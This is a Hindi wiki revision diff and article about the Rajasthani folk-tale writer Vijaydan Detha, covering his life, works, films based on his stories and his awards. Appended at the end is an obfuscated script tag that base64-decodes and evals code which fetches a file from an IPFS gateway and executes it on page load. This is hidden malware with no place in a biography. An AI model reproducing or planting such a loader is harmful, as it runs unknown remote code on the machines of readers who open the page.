"विजयदान देथा": अवतरणों में अंतर
आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "अविभावक" to "अभिभावक") |
No edit summary |
||
पंक्ति 14: | पंक्ति 14: | ||
|कर्म भूमि=[[राजस्थान]] | |कर्म भूमि=[[राजस्थान]] | ||
|कर्म-क्षेत्र=लोककथाकार, उपन्यासकार, संपादक | |कर्म-क्षेत्र=लोककथाकार, उपन्यासकार, संपादक | ||
|मुख्य रचनाएँ=बाताँ री फुलवारी, टिडो राव, कबू रानी, उलझन, अलेखुन हिटलर | |मुख्य रचनाएँ='बाताँ री फुलवारी', 'टिडो राव', 'कबू रानी', 'उलझन', 'अलेखुन हिटलर' आदि। | ||
|विषय= | |विषय= | ||
|भाषा=[[राजस्थानी भाषा|राजस्थानी]] | |भाषा=[[राजस्थानी भाषा|राजस्थानी]] | ||
|विद्यालय= | |विद्यालय= | ||
|शिक्षा= | |शिक्षा= | ||
|पुरस्कार-उपाधि=[[पद्म श्री]], साहित्य अकादमी पुरस्कार, मरूधरा पुरस्कार तथा भारतीय भाषा परिषद पुरस्कार | |पुरस्कार-उपाधि='[[पद्म श्री]]', 'साहित्य अकादमी पुरस्कार', 'मरूधरा पुरस्कार' तथा 'भारतीय भाषा परिषद पुरस्कार'। | ||
|प्रसिद्धि= | |प्रसिद्धि= | ||
|विशेष योगदान= | |विशेष योगदान= | ||
पंक्ति 39: | पंक्ति 39: | ||
====राजस्थानी कृतियाँ==== | ====राजस्थानी कृतियाँ==== | ||
* बाताँ री फुलवारी, भाग 1-14, 1960 - 1974, लोक लोरियाँ | * बाताँ री फुलवारी, भाग 1-14, 1960 - 1974, लोक लोरियाँ | ||
* प्रेरणा (कोमल कोठारी द्वारा सह-सम्पादित) 1953 | * प्रेरणा (कोमल कोठारी द्वारा सह-सम्पादित) [[1953]] | ||
* सोरठा, 1956 - 1958 | * सोरठा, [[1956]] - [[1958]] | ||
* टिडो राव, राजस्थानी की प्रथम जेब में रखने लायक पुस्तक, 1965 | * टिडो राव, राजस्थानी की प्रथम जेब में रखने लायक पुस्तक, [[1965]] | ||
* उलझन, 1984, ([[उपन्यास]]) | * उलझन, [[1984]], ([[उपन्यास]]) | ||
* अलेखुन हिटलर, 1984, (लघु कथाएँ) | * अलेखुन हिटलर, 1984, (लघु कथाएँ) | ||
* रूँख, 1987 | * रूँख, [[1987]] | ||
* कबू रानी, 1989, (बच्चों की कहानियाँ) | * कबू रानी, [[1989]], (बच्चों की कहानियाँ) | ||
* राजस्थानी-हिन्दी कहावत कोष। (संपादन) | * राजस्थानी-हिन्दी कहावत कोष। (संपादन) | ||
====हिन्दी अनुवादित कृतियाँ==== | ====हिन्दी अनुवादित कृतियाँ==== | ||
अपनी मातृ भाषा [[राजस्थानी भाषा|राजस्थानी]] के समादर के लिए 'बिज्जी' ने कभी अन्य किसी भाषा में नहीं लिखा, उनका अधिकतर कार्य उनके एक पुत्र कैलाश कबीर द्वारा हिन्दी में अनुवादित किया। | अपनी मातृ भाषा [[राजस्थानी भाषा|राजस्थानी]] के समादर के लिए 'बिज्जी' ने कभी अन्य किसी भाषा में नहीं लिखा, उनका अधिकतर कार्य उनके एक पुत्र कैलाश कबीर द्वारा हिन्दी में अनुवादित किया। | ||
* उषा, 1946 (कविताएँ) | * उषा, [[1946]] (कविताएँ) | ||
* बापु के तीन हत्यारे, 1948 ([[आलोचना (साहित्य)|आलोचना]]) | * बापु के तीन हत्यारे, [[1948]] ([[आलोचना (साहित्य)|आलोचना]]) | ||
* ज्वाला साप्ताहिक में स्तम्भ, 1949 – 1952 | * ज्वाला साप्ताहिक में स्तम्भ, [[1949]] – [[1952]] | ||
* साहित्य और समाज, 1960, ([[निबन्ध]]) | * साहित्य और समाज, [[1960]], ([[निबन्ध]]) | ||
* अनोखा पेड़ (सचित्र बच्चों की कहानियाँ), 1968 | * अनोखा पेड़ (सचित्र बच्चों की कहानियाँ), [[1968]] | ||
* फूलवारी (कैलाश कबीर द्वारा हिन्दी अनुवादित) 1992 | * फूलवारी (कैलाश कबीर द्वारा हिन्दी अनुवादित) [[1992]] | ||
* चौधरायन की चतुराई (लघु कथाएँ) 1996 | * चौधरायन की चतुराई (लघु कथाएँ) [[1996]] | ||
* अन्तराल, 1997 (लघु कथाएँ) | * अन्तराल, [[1997]] (लघु कथाएँ) | ||
* सपन प्रिया, 1997 (लघु कथाएँ) | * सपन प्रिया, 1997 (लघु कथाएँ) | ||
* मेरो दर्द ना जाणे कोय, 1997 (निबन्ध) | * मेरो दर्द ना जाणे कोय, 1997 (निबन्ध) | ||
* अतिरिक्ता, 1997 ([[आलोचना (साहित्य)|आलोचना]]) | * अतिरिक्ता, 1997 ([[आलोचना (साहित्य)|आलोचना]]) | ||
* महामिलन, ([[उपन्यास]]) 1998 | * महामिलन, ([[उपन्यास]]) [[1998]] | ||
* प्रिया मृणाल, 1998 (लघु कथाएँ) | * प्रिया मृणाल, 1998 (लघु कथाएँ) | ||
==लोककथाओं के जादूगर== | ==लोककथाओं के जादूगर== | ||
[[राजस्थान]] की रंग रंगीली लोक संस्कृति को आधुनिक कलेवर में पेश करने वाले, लोककथाओं के अनूठे चितेरे विजयदान देथा यानी बिज्जी अपने पैतृक गांव में ही रहते थे, [[राजस्थानी भाषा|राजस्थानी]] में ही लिखते थे और हिन्दीजगत फिर भी उन्हें हाथोंहाथ लेता था। चार साल की उम्र में पिता को खो देने वाले श्री देथा ने न कभी अपना गांव छोड़ा, न अपनी भाषा। ताउम्र राजस्थानी में लिखते रहे और लिखने के सिवा कोई और काम नहीं किया। बने बनाए सांचों को तोड़ने वाले विजयदान देथा ने कहानी सुनाने की राजस्थान की समृद्ध परंपरा से अपनी शैली का तालमेल किया। चतुर गड़ेरियों, मूर्ख राजाओं, चालाक भूतों और समझदार राजकुमारियों की जुबानी विजयदान देथा ने जो कहानियां बुनीं उन्होंने उनके शब्दों को जीवंत कर दिया। राजस्थान की लोककथाओं को मौजूदा समाज, राजनीति और बदलाव के औजारों से लैस कर उन्होंने कथाओं की ऐसी फुलवारी रची है कि जिसकी सुगंध दूर-दूर तक महसूस की जा सकती है। दरअसल वे एक जादुई कथाकार थे। अपने ढंग के अकेले ऐसे कथाकार, जिन्होंने लोक साहित्य और आधुनिक साहित्य के बीच एक बहुत ही मज़बूत पुल बनाया था। उन्होंने राजस्थान की विलुप्त होती लोक गाथाओं की ऐसी पुनर्रचना की, जो अन्य किसी के लिए लगभग असंभव थी। सही मायनों में वे राजस्थानी भाषा के [[भारतेंदु हरिश्चंद्र]] थे, जिन्होंने उस अन्यतम भाषा में आधुनिक गद्य और समकालीन चेतना की नींव डाली। अपने लेखन के बारे में उनका कहना था- "हवाई शब्दजाल व विदेशी लेखकों के अपच उच्छिष्ट का वमन करने में मुझे कोई सार नज़र नहीं आता। [[आकाशगंगा]] से कोई अजूबा खोजने की बजाय पाँवों के नीचे की धरती से कुछ कण बटोरना यादा महत्त्वपूर्ण लगता है। अन्यथा इन कहानियों को गढ़ने वाले लेखक की कहानी तो अनकही रह जाएगी।" विजयदान देथा की कहानियाँ पढ़कर विख्यात फिल्मकार [[मणि कौल]] इतने अभिभूत हुए कि उन्होंने तत्काल उन्हें लिखा- ''तुम तो छुपे हुए ही ठीक हो। ...तुम्हारी कहानियाँ शहरी जानवरों तक पहुँच गयीं तो वे कुत्तों की तरह उन पर टूट पड़ेंगे। ...गिद्ध हैं नोच खाएँगे। तुम्हारी नम्रता है कि तुमने अपने [[रत्न|रत्नों]] को गाँव की झीनी धूल से ढँक रखा है।'' हुआ भी यही, अपनी ही एक कहानी के दलित पात्र की तरह- जिसने जब देखा कि उसके द्वारा उपजाये खीरे में बीज की जगह 'कंकड़-पत्थर' भरे हैं तो उसने उन्हें घर के एक कोने में फेंक दिया, किन्तु बाद में एक व्यापारी की निगाह उन पर पड़ी तो उसकी आँखें चौंधियाँ गयीं, क्योंकि वे कंकड़-पत्थर नहीं हीरे थे। विजयदान देथा के साथ भी यही हुआ। उनकी कहानियाँ अनूदित होकर जब [[हिन्दी]] में आयीं तो हिन्दी संसार की आँखें चौंधियाँ गयीं।<ref>{{cite web |url=http://www.deshbandhu.co.in/newsdetail/1554/6/0|title=लोककथाओं के जादूगर बिज्जी |accessmonthday=18 नवंबर |accessyear=2013 |last= |first= |authorlink= |format= |publisher=देशबंधु |language=हिंदी }}</ref> | [[राजस्थान]] की रंग रंगीली लोक संस्कृति को आधुनिक कलेवर में पेश करने वाले, लोककथाओं के अनूठे चितेरे विजयदान देथा यानी बिज्जी अपने पैतृक गांव में ही रहते थे, [[राजस्थानी भाषा|राजस्थानी]] में ही लिखते थे और हिन्दीजगत फिर भी उन्हें हाथोंहाथ लेता था। चार साल की उम्र में पिता को खो देने वाले श्री देथा ने न कभी अपना गांव छोड़ा, न अपनी भाषा। ताउम्र राजस्थानी में लिखते रहे और लिखने के सिवा कोई और काम नहीं किया। बने बनाए सांचों को तोड़ने वाले विजयदान देथा ने कहानी सुनाने की राजस्थान की समृद्ध परंपरा से अपनी शैली का तालमेल किया। चतुर गड़ेरियों, मूर्ख राजाओं, चालाक भूतों और समझदार राजकुमारियों की जुबानी विजयदान देथा ने जो कहानियां बुनीं उन्होंने उनके शब्दों को जीवंत कर दिया। राजस्थान की लोककथाओं को मौजूदा समाज, राजनीति और बदलाव के औजारों से लैस कर उन्होंने कथाओं की ऐसी फुलवारी रची है कि जिसकी सुगंध दूर-दूर तक महसूस की जा सकती है। दरअसल वे एक जादुई कथाकार थे। अपने ढंग के अकेले ऐसे कथाकार, जिन्होंने लोक साहित्य और आधुनिक साहित्य के बीच एक बहुत ही मज़बूत पुल बनाया था। उन्होंने राजस्थान की विलुप्त होती लोक गाथाओं की ऐसी पुनर्रचना की, जो अन्य किसी के लिए लगभग असंभव थी। | ||
सही मायनों में वे राजस्थानी भाषा के [[भारतेंदु हरिश्चंद्र]] थे, जिन्होंने उस अन्यतम भाषा में आधुनिक गद्य और समकालीन चेतना की नींव डाली। अपने लेखन के बारे में उनका कहना था- "हवाई शब्दजाल व विदेशी लेखकों के अपच उच्छिष्ट का वमन करने में मुझे कोई सार नज़र नहीं आता। [[आकाशगंगा]] से कोई अजूबा खोजने की बजाय पाँवों के नीचे की धरती से कुछ कण बटोरना यादा महत्त्वपूर्ण लगता है। अन्यथा इन कहानियों को गढ़ने वाले लेखक की कहानी तो अनकही रह जाएगी।" विजयदान देथा की कहानियाँ पढ़कर विख्यात फिल्मकार [[मणि कौल]] इतने अभिभूत हुए कि उन्होंने तत्काल उन्हें लिखा- ''तुम तो छुपे हुए ही ठीक हो। ...तुम्हारी कहानियाँ शहरी जानवरों तक पहुँच गयीं तो वे कुत्तों की तरह उन पर टूट पड़ेंगे। ...गिद्ध हैं नोच खाएँगे। तुम्हारी नम्रता है कि तुमने अपने [[रत्न|रत्नों]] को गाँव की झीनी धूल से ढँक रखा है।'' हुआ भी यही, अपनी ही एक कहानी के दलित पात्र की तरह- जिसने जब देखा कि उसके द्वारा उपजाये खीरे में बीज की जगह 'कंकड़-पत्थर' भरे हैं तो उसने उन्हें घर के एक कोने में फेंक दिया, किन्तु बाद में एक व्यापारी की निगाह उन पर पड़ी तो उसकी आँखें चौंधियाँ गयीं, क्योंकि वे कंकड़-पत्थर नहीं हीरे थे। विजयदान देथा के साथ भी यही हुआ। उनकी कहानियाँ अनूदित होकर जब [[हिन्दी]] में आयीं तो हिन्दी संसार की आँखें चौंधियाँ गयीं।<ref>{{cite web |url=http://www.deshbandhu.co.in/newsdetail/1554/6/0|title=लोककथाओं के जादूगर बिज्जी |accessmonthday=18 नवंबर |accessyear=2013 |last= |first= |authorlink= |format= |publisher=देशबंधु |language=हिंदी }}</ref> | |||
==सम्मान और पुरस्कार== | ==सम्मान और पुरस्कार== | ||
[[2007]] में [[पद्मश्री]] पुरस्कार से सम्मानित विजयदान देथा को [[2011]] के साहित्य [[नोबेल पुरस्कार]] के लिए भी नामांकित किया गया था हालांकि बाद में यह अवॉर्ड टॉमस ट्रांसट्रॉमर को दिया गया। इसके अतिरिक्त उन्हें साहित्य अकादमी पुरस्कार, मरूधरा पुरस्कार तथा भारतीय भाषा परिषद पुरस्कार भी प्रदान किए गए। | [[2007]] में [[पद्मश्री]] पुरस्कार से सम्मानित विजयदान देथा को [[2011]] के साहित्य [[नोबेल पुरस्कार]] के लिए भी नामांकित किया गया था हालांकि बाद में यह अवॉर्ड टॉमस ट्रांसट्रॉमर को दिया गया। इसके अतिरिक्त उन्हें साहित्य अकादमी पुरस्कार, मरूधरा पुरस्कार तथा भारतीय भाषा परिषद पुरस्कार भी प्रदान किए गए। | ||
पंक्ति 81: | पंक्ति 83: | ||
[[Category:राजस्थानी साहित्यकार]] | [[Category:राजस्थानी साहित्यकार]] | ||
__INDEX__ | __INDEX__ | ||
05:38, 10 नवम्बर 2017 के समय का अवतरण
विजयदान देथा
| |
पूरा नाम | विजयदान देथा |
अन्य नाम | देथा, बिज्जी |
जन्म | 1 सितम्बर, 1926 |
जन्म भूमि | बोरुंदा, जोधपुर |
मृत्यु | 10 नवम्बर, 2013 |
मृत्यु स्थान | बोरुंदा, जोधपुर |
संतान | तीन पुत्र और एक पुत्री |
कर्म भूमि | राजस्थान |
कर्म-क्षेत्र | लोककथाकार, उपन्यासकार, संपादक |
मुख्य रचनाएँ | 'बाताँ री फुलवारी', 'टिडो राव', 'कबू रानी', 'उलझन', 'अलेखुन हिटलर' आदि। |
भाषा | राजस्थानी |
पुरस्कार-उपाधि | 'पद्म श्री', 'साहित्य अकादमी पुरस्कार', 'मरूधरा पुरस्कार' तथा 'भारतीय भाषा परिषद पुरस्कार'। |
नागरिकता | भारतीय |
अन्य जानकारी | राजस्थानी भाषा में चौदह खडों में प्रकाशित बाताँ री फुलवारी के दसवें खण्ड को भारतीय राष्ट्रीय साहित्य अकादमी द्वारा पुरस्कृत किया गया, जो राजस्थानी कृति पर पहला पुरस्कार है। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
विजयदान देथा (अंग्रेज़ी: Vijaydan Detha, जन्म: 1 सितम्बर, 1926 - मृत्यु: 10 नवम्बर, 2013) जिन्हें 'बिज्जी' के नाम से भी जाना जाता है, राजस्थान के प्रसिद्ध लेखक और पद्म श्री पुरस्कार से सम्मानित व्यक्ति थे। उन्हें साहित्य अकादमी पुरस्कार और साहित्य चुड़ामणी पुरस्कार जैसे विभिन्न अन्य पुरस्कारों से भी समानित किया जा चुका था। विजयदान देथा की राजस्थानी भाषा में चौदह खडों में प्रकाशित बाताँ री फुलवारी के दसवें खण्ड को भारतीय राष्ट्रीय साहित्य अकादमी द्वारा पुरस्कृत किया गया, जो राजस्थानी कृति पर पहला पुरस्कार है।
जीवन परिचय
लोक कथाओं एवं कहावतों का अद्भुत संकलन करने वाले पद्मश्री विजयदान देथा की कर्मस्थली उनका पैथृक गांव बोरुंदा दा ही रहा तथा एक छोटे से गांव में बैठकर अन्तर्राष्ट्रीय स्तर के साहित्य का सृजन किया। राजस्थानी लोक संस्कृति की प्रमुख संरक्षक संस्था रूपायन संस्थान (जोधपुर) के सचिव देथा का जन्म 1 सितंबर 1926 को बोरूंदा में हुआ। प्रारम्भ में 1953 से 1955 तक बिज्जी ने हिन्दी मासिक प्रेरणा का सम्पादन किया। बाद में हिन्दी त्रैमासिक रूपम, राजस्थानी शोध पत्रिका परम्परा, लोकगीत, गोरा हट जा, राजस्थान के प्रचलित प्रेमाख्यान का विवेचन, जैठवै रा सोहठा और कोमल कोठारी के साथ संयुक्त रूप से वाणी और लोक संस्कृति का सम्पादन किया। विजयदान देथा की लिखी कहानियों पर दो दर्जन से ज़्यादा फ़िल्में बन चुकी हैं, जिनमें मणि कौल द्वारा निर्देशित 'दुविधा' पर अनेक राष्ट्रीय और अन्तर्राष्ट्रीय पुरस्कार मिल चुके हैं। इसके अलावा वर्ष 1986 में उनकी कथा पर चर्चित फ़िल्म निर्माता-निर्देशक प्रकाश झा द्वारा निर्देशित फिल्म परिणीति काफ़ी प्रभावित हुई है। राजस्थान साहित्य अकादमी 1972-73 में उन्हें विशिष्ट साहित्यकार के रूप में सम्मानित कर चुकी है।[1]'दुविधा' पर आधारित हिंदी फिल्म 'पहेली' में अभिनेता शाहरुख खान और रानी मुखर्जी मुख्य भूमिकाओं में थे। यह उनकी किसी रचना पर बनी अंतिम फिल्म है।[2] रंगकर्मी हबीब तनवीर ने विजयदान देथा की लोकप्रिय कहानी 'चरणदास चोर' को नाटक का स्वरूप प्रदान किया था और श्याम बेनेगल ने इस पर एक फिल्म भी बनाई थी।
कृतियाँ
राजस्थानी भाषा में क़रीब 800 से अधिक लघुकथाएं लिखने वाले विजयदान देथा की कृतियों का हिंदी, अंग्रेज़ी समेत विभिन्न भाषाओं में अनुवाद किया गया। विजयदान देथा ने कविताएँ भी लिखीं और उपन्यास भी। वे कलात्मक दृष्टि से उतने सफल नहीं नहीं हो सके। संभवतः उनकी रचनात्मक क्षमता खिल पाई लोक कथाओं के साथ उनके अपने काम में। विजयदान देथा ने रंगमंच और सिनेमा को अपनी ओर खींचा। एक अच्छी ख़ासी आबादी है जो उन्हें 'चरणदास चोर' के माध्यम से ही जानती है। अमोल पालेकर, मणि कौल, प्रकाश झा, श्याम बेनेगल जैसे फिल्मकारों ने उनकी कहानियों पर फिल्में बनाईं। हबीब तनवीर उनकी कहानी को अपनाने वाले रंग निर्देशकों में सबसे प्रसिद्ध हैं लेकिन देश भर में उनकी जाने कितनी कहानियों को मंच पर खेला गया, इसका कोई हिसाब नहीं है।[3]
राजस्थानी कृतियाँ
- बाताँ री फुलवारी, भाग 1-14, 1960 - 1974, लोक लोरियाँ
- प्रेरणा (कोमल कोठारी द्वारा सह-सम्पादित) 1953
- सोरठा, 1956 - 1958
- टिडो राव, राजस्थानी की प्रथम जेब में रखने लायक पुस्तक, 1965
- उलझन, 1984, (उपन्यास)
- अलेखुन हिटलर, 1984, (लघु कथाएँ)
- रूँख, 1987
- कबू रानी, 1989, (बच्चों की कहानियाँ)
- राजस्थानी-हिन्दी कहावत कोष। (संपादन)
हिन्दी अनुवादित कृतियाँ
अपनी मातृ भाषा राजस्थानी के समादर के लिए 'बिज्जी' ने कभी अन्य किसी भाषा में नहीं लिखा, उनका अधिकतर कार्य उनके एक पुत्र कैलाश कबीर द्वारा हिन्दी में अनुवादित किया।
- उषा, 1946 (कविताएँ)
- बापु के तीन हत्यारे, 1948 (आलोचना)
- ज्वाला साप्ताहिक में स्तम्भ, 1949 – 1952
- साहित्य और समाज, 1960, (निबन्ध)
- अनोखा पेड़ (सचित्र बच्चों की कहानियाँ), 1968
- फूलवारी (कैलाश कबीर द्वारा हिन्दी अनुवादित) 1992
- चौधरायन की चतुराई (लघु कथाएँ) 1996
- अन्तराल, 1997 (लघु कथाएँ)
- सपन प्रिया, 1997 (लघु कथाएँ)
- मेरो दर्द ना जाणे कोय, 1997 (निबन्ध)
- अतिरिक्ता, 1997 (आलोचना)
- महामिलन, (उपन्यास) 1998
- प्रिया मृणाल, 1998 (लघु कथाएँ)
लोककथाओं के जादूगर
राजस्थान की रंग रंगीली लोक संस्कृति को आधुनिक कलेवर में पेश करने वाले, लोककथाओं के अनूठे चितेरे विजयदान देथा यानी बिज्जी अपने पैतृक गांव में ही रहते थे, राजस्थानी में ही लिखते थे और हिन्दीजगत फिर भी उन्हें हाथोंहाथ लेता था। चार साल की उम्र में पिता को खो देने वाले श्री देथा ने न कभी अपना गांव छोड़ा, न अपनी भाषा। ताउम्र राजस्थानी में लिखते रहे और लिखने के सिवा कोई और काम नहीं किया। बने बनाए सांचों को तोड़ने वाले विजयदान देथा ने कहानी सुनाने की राजस्थान की समृद्ध परंपरा से अपनी शैली का तालमेल किया। चतुर गड़ेरियों, मूर्ख राजाओं, चालाक भूतों और समझदार राजकुमारियों की जुबानी विजयदान देथा ने जो कहानियां बुनीं उन्होंने उनके शब्दों को जीवंत कर दिया। राजस्थान की लोककथाओं को मौजूदा समाज, राजनीति और बदलाव के औजारों से लैस कर उन्होंने कथाओं की ऐसी फुलवारी रची है कि जिसकी सुगंध दूर-दूर तक महसूस की जा सकती है। दरअसल वे एक जादुई कथाकार थे। अपने ढंग के अकेले ऐसे कथाकार, जिन्होंने लोक साहित्य और आधुनिक साहित्य के बीच एक बहुत ही मज़बूत पुल बनाया था। उन्होंने राजस्थान की विलुप्त होती लोक गाथाओं की ऐसी पुनर्रचना की, जो अन्य किसी के लिए लगभग असंभव थी।
सही मायनों में वे राजस्थानी भाषा के भारतेंदु हरिश्चंद्र थे, जिन्होंने उस अन्यतम भाषा में आधुनिक गद्य और समकालीन चेतना की नींव डाली। अपने लेखन के बारे में उनका कहना था- "हवाई शब्दजाल व विदेशी लेखकों के अपच उच्छिष्ट का वमन करने में मुझे कोई सार नज़र नहीं आता। आकाशगंगा से कोई अजूबा खोजने की बजाय पाँवों के नीचे की धरती से कुछ कण बटोरना यादा महत्त्वपूर्ण लगता है। अन्यथा इन कहानियों को गढ़ने वाले लेखक की कहानी तो अनकही रह जाएगी।" विजयदान देथा की कहानियाँ पढ़कर विख्यात फिल्मकार मणि कौल इतने अभिभूत हुए कि उन्होंने तत्काल उन्हें लिखा- तुम तो छुपे हुए ही ठीक हो। ...तुम्हारी कहानियाँ शहरी जानवरों तक पहुँच गयीं तो वे कुत्तों की तरह उन पर टूट पड़ेंगे। ...गिद्ध हैं नोच खाएँगे। तुम्हारी नम्रता है कि तुमने अपने रत्नों को गाँव की झीनी धूल से ढँक रखा है। हुआ भी यही, अपनी ही एक कहानी के दलित पात्र की तरह- जिसने जब देखा कि उसके द्वारा उपजाये खीरे में बीज की जगह 'कंकड़-पत्थर' भरे हैं तो उसने उन्हें घर के एक कोने में फेंक दिया, किन्तु बाद में एक व्यापारी की निगाह उन पर पड़ी तो उसकी आँखें चौंधियाँ गयीं, क्योंकि वे कंकड़-पत्थर नहीं हीरे थे। विजयदान देथा के साथ भी यही हुआ। उनकी कहानियाँ अनूदित होकर जब हिन्दी में आयीं तो हिन्दी संसार की आँखें चौंधियाँ गयीं।[4]
सम्मान और पुरस्कार
2007 में पद्मश्री पुरस्कार से सम्मानित विजयदान देथा को 2011 के साहित्य नोबेल पुरस्कार के लिए भी नामांकित किया गया था हालांकि बाद में यह अवॉर्ड टॉमस ट्रांसट्रॉमर को दिया गया। इसके अतिरिक्त उन्हें साहित्य अकादमी पुरस्कार, मरूधरा पुरस्कार तथा भारतीय भाषा परिषद पुरस्कार भी प्रदान किए गए।
निधन
राजस्थानी लेखक विजयदान देथा का रविवार 10 नवंबर, 2013 को दिल का दौरा पड़ने से बोरुंदा गांव (जोधपुर) में निधन हो गया। उन्होंने राजस्थान की लोक कथाओं को पहचान और आधुनिक स्वरूप प्रदान करने में अहम भूमिका निभाई। 87 वर्षीय विजयदान देथा के परिवार में तीन पुत्र और एक पुत्री हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ नहीं रहे प्रख्यात साहित्यकार विजयदान देथा (हिंदी) हिंदुस्तान लाइव। अभिगमन तिथि: 18 नवंबर, 2013।
- ↑ नहीं रहे साहित्यकार विजयदान देथा (हिंदी) जागरण डॉट कॉम। अभिगमन तिथि: 18 नवंबर, 2013।
- ↑ विजयदान देथा: विद्वत्ता को पेशा नहीं बनाया (हिंदी) बीबीसी हिंदी। अभिगमन तिथि: 18 नवंबर, 2013।
- ↑ लोककथाओं के जादूगर बिज्जी (हिंदी) देशबंधु। अभिगमन तिथि: 18 नवंबर, 2013।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>